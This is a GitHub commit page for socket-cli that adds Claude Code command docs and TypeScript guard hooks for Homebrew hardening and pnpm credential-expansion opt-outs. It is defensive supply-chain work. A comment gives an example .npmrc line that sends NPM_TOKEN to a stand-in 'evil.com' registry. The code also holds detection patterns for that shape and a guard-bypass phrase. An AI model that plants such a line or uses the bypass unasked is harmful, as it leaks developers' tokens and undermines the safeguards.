Skip to content

Commit 5fcffbf

Browse files
committed
chore(wheelhouse): cascade template@b4c14391
Auto-applied by socket-wheelhouse sync-scaffolding into socket-cli. 189 file(s) touched: - .claude/commands/fleet/green-ci-local.md - .claude/commands/fleet/researching-recency.md - .claude/hooks/fleet/_shared/brew-supply-chain.mts - .claude/hooks/fleet/_shared/npmrc-trust.mts - .claude/hooks/fleet/_shared/sparkle-auto-update.mts - .claude/hooks/fleet/_shared/token-patterns.mts - .claude/hooks/fleet/_shared/trust-gates.mts - .claude/hooks/fleet/_shared/uv-config.mts - .claude/hooks/fleet/brew-supply-chain-guard/README.md - .claude/hooks/fleet/brew-supply-chain-guard/index.mts - .claude/hooks/fleet/brew-supply-chain-guard/package.json - .claude/hooks/fleet/brew-supply-chain-guard/test/index.test.mts - .claude/hooks/fleet/brew-supply-chain-guard/tsconfig.json - .claude/hooks/fleet/claude-md-section-size-guard/README.md - .claude/hooks/fleet/claude-md-section-size-guard/index.mts - .claude/hooks/fleet/claude-md-section-size-guard/test/index.test.mts - .claude/hooks/fleet/land-fast-reminder/README.md - .claude/hooks/fleet/land-fast-reminder/index.mts - .claude/hooks/fleet/land-fast-reminder/package.json - .claude/hooks/fleet/land-fast-reminder/test/land-fast-reminder.test.mts ... and 169 more
1 parent a8fb5cd commit 5fcffbf

189 files changed

Lines changed: 13832 additions & 1287 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
---
2+
description: Drive a repo's CI to green LOCALLY with Agent-CI (Docker) — run a workflow in containers, fix the first paused failure, retry in place, loop until green. The local pre-flight before a push or a remote build-matrix dispatch.
3+
---
4+
5+
Run `$ARGUMENTS` through Agent-CI locally and drive it to green without a push or
6+
remote runner minutes.
7+
8+
`$ARGUMENTS` is parsed as: `[workflow.yml]` `[--no-matrix]`. Default: all PR/push
9+
workflows for the current branch (`pnpm run ci:local`). Pass a workflow path to
10+
validate one (e.g. a release/build workflow before dispatching it remotely);
11+
`--no-matrix` collapses a matrix to one representative leg for a fast first pass.
12+
13+
Requires Docker running (OrbStack on macOS — `open -a OrbStack`, confirm
14+
`docker info`). On a paused step the model reads the failure log, fixes the code
15+
locally, and `agent-ci retry`s the SAME runner — it does not restart the
16+
pipeline. Env-gap failures (Depot/OIDC, runner-only libs, skipped macOS legs) are
17+
reported as the local boundary, not code defects, and still need the remote run.
18+
19+
The local twin of `/green-ci` (which watches GitHub Actions remotely + pushes
20+
fixes). Use this first to catch breaks in containers; use `/green-ci` for the
21+
remote run that produces real release artifacts.
22+
23+
Invokes the `greening-ci-local` skill.
Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
---
2+
description: Research what the dev community is actually saying and shipping about a tool, library, language, or maintainer over the last 30 days — fans out across GitHub, Hacker News, Reddit, Lobsters, dev.to (opt-in X/Bluesky), ranks by real engagement, and synthesizes a cited brief. Read-only.
3+
---
4+
5+
Run the `researching-recency` skill.
6+
7+
Pass the topic as the argument, e.g. `/researching-recency rolldown` or
8+
`/researching-recency "Claude Fable 5 pricing vs Opus"`. Use it before adopting
9+
a dependency, choosing between tools, or whenever you need recent ground truth a
10+
stale README or training cutoff won't give you.
Lines changed: 182 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,182 @@
1+
/**
2+
* @file Single source of truth for "is this machine's Homebrew hardened to the
3+
* 6.0.0 supply-chain posture?" — shared by the brew-supply-chain-guard hook
4+
* (point-of-use block), the brew-supply-chain-is-hardened.mts check (drift
5+
* report in `check --all`), and setup-security-tools (which sets the knobs).
6+
* Homebrew 6.0.0 (https://brew.sh/2026/06/11/homebrew-6.0.0/) added two
7+
* opt-in supply-chain controls plus the machinery they depend on:
8+
*
9+
* - HOMEBREW_REQUIRE_TAP_TRUST: refuse to evaluate third-party tap code until
10+
* it is explicitly trusted (`brew trust …`). Closes the tap-as-RCE surface
11+
* — see docs.brew.sh/Tap-Trust.
12+
* - HOMEBREW_CASK_OPTS_REQUIRE_SHA: refuse a cask whose download has no pinned
13+
* checksum (`sha256 :no_check`). Closes the unverified-download surface —
14+
* see docs.brew.sh/Supply-Chain-Security. Both knobs are silently IGNORED
15+
* by an older Homebrew, so the only real enforcement is a version floor: a
16+
* `brew` below 6.0.0 is not hardenable and the guard blocks it until the
17+
* operator upgrades. This concern is DISTINCT from
18+
* package-manager-auto-update.mts (which owns the "don't change a tool
19+
* version mid-task" knob, HOMEBREW_NO_AUTO_UPDATE) — one module per
20+
* concern, per the single-responsibility hook rule.
21+
*/
22+
23+
// oxlint-disable-next-line socket/prefer-async-spawn -- detection runs in a sync hook + sync audit script; needs typed string stdout, no async.
24+
import { spawnSync } from '@socketsecurity/lib-stable/process/spawn/child'
25+
import os from 'node:os'
26+
import process from 'node:process'
27+
28+
import { gte } from '@socketsecurity/lib-stable/versions/compare'
29+
import { coerceVersion } from '@socketsecurity/lib-stable/versions/parse'
30+
31+
import { findInvocation } from './shell-command.mts'
32+
33+
// The Homebrew release that introduced the supply-chain knobs below. A `brew`
34+
// older than this silently ignores the env vars, so the floor is the gate.
35+
export const BREW_MIN_VERSION = '6.0.0'
36+
37+
// Docs the operator is pointed at when the guard / audit fires.
38+
export const BREW_TAP_TRUST_DOCS = 'https://docs.brew.sh/Tap-Trust'
39+
export const BREW_SUPPLY_CHAIN_DOCS =
40+
'https://docs.brew.sh/Supply-Chain-Security'
41+
42+
export interface BrewSecurityEnv {
43+
// The env-var name a shell `export` sets.
44+
name: string
45+
// The value that turns the control on (always '1' today).
46+
value: string
47+
// One-line description of what the control protects against, surfaced in
48+
// audit / guard output.
49+
protects: string
50+
}
51+
52+
// The Homebrew 6.0.0 supply-chain knobs setup-security-tools persists into the
53+
// managed shell-rc block on macOS. Single source of truth shared with the
54+
// detector below — the shell-rc bridge imports this list instead of hardcoding
55+
// a divergent copy, so a future brew knob added here flows into the persisted
56+
// block automatically. Listed alphabetically by env name.
57+
export const MACOS_BREW_SECURITY_ENV: readonly BrewSecurityEnv[] = [
58+
{
59+
name: 'HOMEBREW_CASK_OPTS_REQUIRE_SHA',
60+
value: '1',
61+
protects:
62+
'refuses a cask download with no pinned checksum (sha256 :no_check)',
63+
},
64+
{
65+
name: 'HOMEBREW_REQUIRE_TAP_TRUST',
66+
value: '1',
67+
protects:
68+
'refuses to evaluate an untrusted third-party tap until `brew trust` approves it',
69+
},
70+
]
71+
72+
export interface BrewSecurityStatus {
73+
// 'hardened' = brew is >= the floor AND every knob is on (good); 'unhardened'
74+
// = brew present but the floor or a knob is unmet (blockable drift); 'absent'
75+
// = brew isn't on PATH, so the check is not applicable (never blocks).
76+
state: 'hardened' | 'unhardened' | 'absent'
77+
// The detected Homebrew version, or undefined when brew is absent / its
78+
// version couldn't be read.
79+
version: string | undefined
80+
// True when the detected version is >= BREW_MIN_VERSION.
81+
versionOk: boolean
82+
// Env knobs that are NOT set to their hardened value.
83+
missingEnv: readonly BrewSecurityEnv[]
84+
// One-line explanation of what was read.
85+
reason: string
86+
}
87+
88+
// True when an env var is set to a truthy "on" value (1 / true / yes / on).
89+
export function brewEnvIsOn(name: string): boolean {
90+
const v = process.env[name]?.trim().toLowerCase()
91+
return v === '1' || v === 'true' || v === 'yes' || v === 'on'
92+
}
93+
94+
// True when `brew` resolves on PATH. `command -v` is a shell builtin (not
95+
// spawnable directly), so probe with the platform PATH resolver: `where` on
96+
// Windows, `which` elsewhere. Homebrew is macOS/Linux only; on win32 this is
97+
// always false.
98+
export function hasBrew(): boolean {
99+
const resolver = os.platform() === 'win32' ? 'where' : 'which'
100+
try {
101+
return spawnSync(resolver, ['brew'], { stdio: 'pipe' }).status === 0
102+
} catch {
103+
return false
104+
}
105+
}
106+
107+
// Read the installed Homebrew version, or undefined when brew is missing / the
108+
// call fails. `brew --version` prints e.g. "Homebrew 6.0.0\nHomebrew/..." — the
109+
// first line's trailing token is the version. coerceVersion tolerates the
110+
// occasional git-describe suffix (e.g. "6.0.0-1-gabc123").
111+
export function readBrewVersion(): string | undefined {
112+
let stdout: unknown
113+
try {
114+
const result = spawnSync('brew', ['--version'], { stdio: 'pipe' })
115+
if (result.status !== 0) {
116+
return undefined
117+
}
118+
;({ stdout } = result)
119+
} catch {
120+
return undefined
121+
}
122+
const text = typeof stdout === 'string' ? stdout : String(stdout)
123+
const firstLine = text.split(/\r?\n/u, 1)[0]?.trim() ?? ''
124+
const token = firstLine.replace(/^Homebrew\s+/iu, '').trim()
125+
const coerced = coerceVersion(token)
126+
return coerced ? String(coerced) : undefined
127+
}
128+
129+
// Read the current machine's Homebrew supply-chain posture. Pure-ish: only
130+
// reads env + `brew --version`. Never mutates.
131+
export function detectBrewSecurity(): BrewSecurityStatus {
132+
if (!hasBrew()) {
133+
return {
134+
state: 'absent',
135+
version: undefined,
136+
versionOk: false,
137+
missingEnv: [],
138+
reason: 'brew not on PATH',
139+
}
140+
}
141+
const version = readBrewVersion()
142+
const versionOk = version !== undefined && gte(version, BREW_MIN_VERSION)
143+
const missingEnv = MACOS_BREW_SECURITY_ENV.filter(
144+
knob => !brewEnvIsOn(knob.name),
145+
)
146+
if (versionOk && missingEnv.length === 0) {
147+
return {
148+
state: 'hardened',
149+
version,
150+
versionOk,
151+
missingEnv: [],
152+
reason: `Homebrew ${version} with tap-trust + cask-SHA enforced`,
153+
}
154+
}
155+
const parts: string[] = []
156+
if (!versionOk) {
157+
parts.push(
158+
version === undefined
159+
? 'Homebrew version unreadable'
160+
: `Homebrew ${version} is below the ${BREW_MIN_VERSION} floor`,
161+
)
162+
}
163+
if (missingEnv.length > 0) {
164+
parts.push(`unset: ${missingEnv.map(k => k.name).join(', ')}`)
165+
}
166+
return {
167+
state: 'unhardened',
168+
version,
169+
versionOk,
170+
missingEnv,
171+
reason: parts.join('; '),
172+
}
173+
}
174+
175+
// True when the Bash command invokes `brew` (AST-matched, no regex). Used by
176+
// the guard to decide whether to verify brew's posture before the call runs.
177+
export function commandInvokesBrew(command: string): boolean {
178+
return findInvocation(command, { binary: 'brew' })
179+
}
180+
181+
// The bypass phrase that suppresses the brew-supply-chain guard.
182+
export const BREW_SUPPLY_CHAIN_BYPASS_PHRASE = 'Allow brew-supply-chain bypass'
Lines changed: 180 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,180 @@
1+
/**
2+
* @file Shared detector for the pnpm "trust-aware env expansion" opt-out — the
3+
* escape hatch pnpm 10.34.2 / 11.5.3 added when it stopped expanding
4+
* `${ENV_VAR}` in repo-controlled credential settings. Consumed by BOTH the
5+
* `npmrc-trust-optout-guard` hook (Bash + Edit/Write surfaces) and the
6+
* commit-time `trust-gates-are-not-weakened.mts` check (code is law, DRY).
7+
*
8+
* The threat: a malicious repo commits `.npmrc` with
9+
* `//registry.evil.com/:_authToken=${NPM_TOKEN}`; old pnpm expanded the
10+
* placeholder and shipped the developer's token to the attacker's registry at
11+
* `pnpm install`. The fix made expansion of `_authToken` / `registry` /
12+
* `@scope:registry` in repo-controlled files refuse-by-default.
13+
*
14+
* Two opt-out env vars DISABLE that protection for a checkout:
15+
*
16+
* - `PNPM_CONFIG_NPMRC_AUTH_FILE` (pnpm v11)
17+
* - `NPM_CONFIG_USERCONFIG` pointed at a repo `.npmrc` (v10 fallback)
18+
*
19+
* Setting either re-opens the exfiltration hole. The only legitimate use is a
20+
* CI image that builds exclusively trusted first-party repos — rare, and
21+
* gated behind the hook's bypass phrase.
22+
*
23+
* This module is pure: callers pass text (a shell command, a file's
24+
* about-to-land contents) and get back the list of offenses. No file or
25+
* process access.
26+
*/
27+
28+
/** The two env vars whose presence disables pnpm's trust-aware expansion. */
29+
export const TRUST_OPTOUT_ENV_VARS = [
30+
'PNPM_CONFIG_NPMRC_AUTH_FILE',
31+
'NPM_CONFIG_USERCONFIG',
32+
] as const
33+
34+
export type TrustOptoutEnvVar = (typeof TRUST_OPTOUT_ENV_VARS)[number]
35+
36+
const ENV_VAR_SET = new Set<string>(TRUST_OPTOUT_ENV_VARS)
37+
38+
/**
39+
* Pull the variable name out of a single `NAME=value`, `export NAME=value`, or
40+
* `NAME` assignment token. Returns undefined when the token isn't a recognized
41+
* env-var name we care about.
42+
*
43+
* `NPM_CONFIG_USERCONFIG` only matters when it points at a repo-local `.npmrc`
44+
* (the v10 attack shape) — pointing it at `~/.npmrc` or `/dev/null` is benign.
45+
* We can only judge the value when the assignment carries one; for a bare
46+
* `export NPM_CONFIG_USERCONFIG` with no value we report it (better to ask than
47+
* to miss the attack).
48+
*/
49+
function classifyAssignment(name: string, value: string | undefined): boolean {
50+
if (!ENV_VAR_SET.has(name)) {
51+
return false
52+
}
53+
if (name === 'NPM_CONFIG_USERCONFIG' && value !== undefined) {
54+
// The attack shape is pointing npm/pnpm config at a REPO-LOCAL `.npmrc`
55+
// (a relative path, or one inside the checkout) so the committed file's
56+
// `${ENV}` lines get expanded. A HOME / absolute path (`~/.npmrc`,
57+
// `$HOME/.npmrc`, `/etc/npmrc`) or `/dev/null` points AWAY from the repo
58+
// and is the normal, safe setup — benign.
59+
const v = value.replace(/^["']|["']$/g, '').trim()
60+
const pointsOutsideRepo =
61+
v.startsWith('~') ||
62+
v.startsWith('$HOME') ||
63+
v.startsWith('${HOME}') ||
64+
v.startsWith('/') // absolute path — not a repo-relative file
65+
if (pointsOutsideRepo) {
66+
return false
67+
}
68+
// Anything else (`.npmrc`, `./.npmrc`, `config/.npmrc`) is repo-relative →
69+
// the attack shape → reported.
70+
}
71+
return true
72+
}
73+
74+
/**
75+
* Scan parsed shell command segments for a trust-opt-out env-var assignment.
76+
* Pass the `Command[]` from `_shared/shell-command.mts` `parseCommands()`. We
77+
* inspect three shapes:
78+
*
79+
* - `NAME=value pnpm i` → surfaces in `cmd.assignments`
80+
* - `export NAME=value` → `cmd.binary === 'export'`, arg `NAME=value`
81+
* - bare `NAME=value` → `cmd.assignments` on an empty-binary segment
82+
*
83+
* Returns the set of offending env-var names found.
84+
*/
85+
export function detectOptoutInCommands(
86+
commands: ReadonlyArray<{
87+
readonly binary: string
88+
readonly args: readonly string[]
89+
readonly assignments: readonly string[]
90+
}>,
91+
): Set<TrustOptoutEnvVar> {
92+
const found = new Set<TrustOptoutEnvVar>()
93+
const consider = (token: string): void => {
94+
const eq = token.indexOf('=')
95+
const name = eq > 0 ? token.slice(0, eq) : token
96+
const value = eq > 0 ? token.slice(eq + 1) : undefined
97+
if (classifyAssignment(name, value)) {
98+
found.add(name as TrustOptoutEnvVar)
99+
}
100+
}
101+
for (const cmd of commands) {
102+
for (const a of cmd.assignments) {
103+
consider(a)
104+
}
105+
if (cmd.binary === 'export' || cmd.binary === 'setenv') {
106+
for (const a of cmd.args) {
107+
consider(a)
108+
}
109+
}
110+
}
111+
return found
112+
}
113+
114+
/**
115+
* Scan an about-to-land file's text for a trust-opt-out env var assignment.
116+
* Catches the same vars landed into a committed shell script, workflow YAML,
117+
* Dockerfile, dotenv, etc. — a line that ASSIGNS or EXPORTS one of the vars.
118+
* Line-oriented so it works across `.sh` / `.yml` / `Dockerfile` / `.env`
119+
* without per-format parsing.
120+
*
121+
* Returns the offending var names paired with their 1-based line numbers.
122+
*/
123+
export function detectOptoutInFileText(
124+
text: string,
125+
): Array<{ name: TrustOptoutEnvVar; line: number }> {
126+
const out: Array<{ name: TrustOptoutEnvVar; line: number }> = []
127+
const lines = text.split(/\r?\n/)
128+
for (let i = 0, { length } = lines; i < length; i += 1) {
129+
const line = lines[i]!
130+
for (const name of TRUST_OPTOUT_ENV_VARS) {
131+
if (!line.includes(name)) {
132+
continue
133+
}
134+
// Match `NAME=`, `export NAME=`, `ENV NAME=`/`ENV NAME ` (Dockerfile),
135+
// and YAML `NAME: value`. Require the var name as a whole token followed
136+
// by `=` or `:` so a mention in a comment/string without assignment
137+
// (e.g. documenting the var) does not false-fire on its own — but a
138+
// comment that still performs an assignment is intentionally caught.
139+
const assignRe = new RegExp(`(^|[\\s'"])${name}\\s*[:=]`)
140+
const dockerfileEnvRe = new RegExp(`(^|\\s)ENV\\s+${name}\\s`)
141+
if (assignRe.test(line) || dockerfileEnvRe.test(line)) {
142+
const value = line.slice(line.indexOf(name) + name.length).replace(/^\s*[:=]\s*/, '')
143+
if (classifyAssignment(name, value || undefined)) {
144+
out.push({ line: i + 1, name })
145+
}
146+
}
147+
}
148+
}
149+
return out
150+
}
151+
152+
const AUTH_OR_REGISTRY_KEY_RE = /(?:_authToken|^registry|:registry)\s*=/
153+
154+
/**
155+
* Detect the exfiltration SHAPE in a committed `.npmrc`: an `${ENV}` (or
156+
* `$ENV`) placeholder on a `_authToken=` / `registry=` / `@scope:registry=`
157+
* line. This is exactly what pnpm's trust-aware change refuses to expand;
158+
* committing it is the credential-theft setup. Returns offending 1-based line
159+
* numbers.
160+
*/
161+
export function detectAuthEnvPlaceholderInNpmrc(text: string): number[] {
162+
const out: number[] = []
163+
const lines = text.split(/\r?\n/)
164+
for (let i = 0, { length } = lines; i < length; i += 1) {
165+
const raw = lines[i]!
166+
const trimmed = raw.trim()
167+
if (!trimmed || trimmed.startsWith('#') || trimmed.startsWith(';')) {
168+
continue
169+
}
170+
if (!AUTH_OR_REGISTRY_KEY_RE.test(trimmed)) {
171+
continue
172+
}
173+
// `${VAR}` or `$VAR` after the `=`.
174+
const value = trimmed.slice(trimmed.indexOf('=') + 1)
175+
if (/\$\{?[A-Za-z_]/.test(value)) {
176+
out.push(i + 1)
177+
}
178+
}
179+
return out
180+
}

0 commit comments

Comments
 (0)